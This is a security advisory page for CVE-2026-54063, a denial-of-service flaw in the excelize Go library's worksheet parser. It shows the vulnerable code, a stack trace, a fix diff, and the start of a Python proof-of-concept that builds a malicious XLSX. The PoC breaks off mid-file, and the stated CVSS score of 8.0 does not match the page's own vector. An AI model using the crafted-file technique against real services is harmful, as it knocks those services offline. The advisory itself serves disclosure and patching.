🛡️ CVE-2026-54063 — excelize
Description
Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary
The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.
Details
The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.
Data flow (source → sink):
1. excelize.go:186-193 — OpenReader reads attacker-controlled spreadsheet bytes.
2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader.
3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name.
4. excelize.go:228-229 — XML bytes are stored in f.Pkg.
5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path.
6. cell.go:1492-1494 — getCellStringFunc calls workSheetReader.
7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet.
8. xmlWorksheet.go:302-312 — <row r="..."> is deserialized into xlsxRow.R int with no validation (source).
9. excelize.go:357-377 — checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.
Vulnerable code (excelize.go:373-377):
```go
if r.R != 0 && r.R > row {
row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation
```
The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.
Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.
Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.
Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:
```
panic: runtime error: index out of range [-2]
goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
/excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
/excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
/excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
/excelize/cell.go:72
main.main.func1(...)
/excelize/cmd/poc/main.go:44
main.main()
/excelize/cmd/poc/main.go:52
```
Recommended remediation (excelize.go):
```diff
-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
...
for i := 0; i < len(ws.SheetData.Row); i++ {
r := ws.SheetData.Row[i]
+ if r.R < 0 {
+ return newInvalidRowNumberError(r.R)
+ }
+ if r.R > TotalRows {
+ return ErrMaxRows
+ }
...
ws.SheetData = *sheetData
+ return nil
}
```
PoC
Step 1: Generate the malicious XLSX
```python
import zipfile
# Variant A: OOM → row = "2147483647"
# Variant B: Panic → row = "-1"
row = "-1"
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2026-54063 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.
Affected software
CVE-2026-54063 is recorded against 2 packages.
- excelize (fixed in 2.11.0)
- github.com/xuri/excelize/v2
Timeline and source
Published on 10 July 2026 and last revised on 16 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| excelize | — | 2.11.0 |
| github.com/xuri/excelize/v2 | — | — |
References
Similar Threats
- High CVE-2026-59161
- High CVE-2026-59162
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running excelize?
CVE-2026-54063 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-54063 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.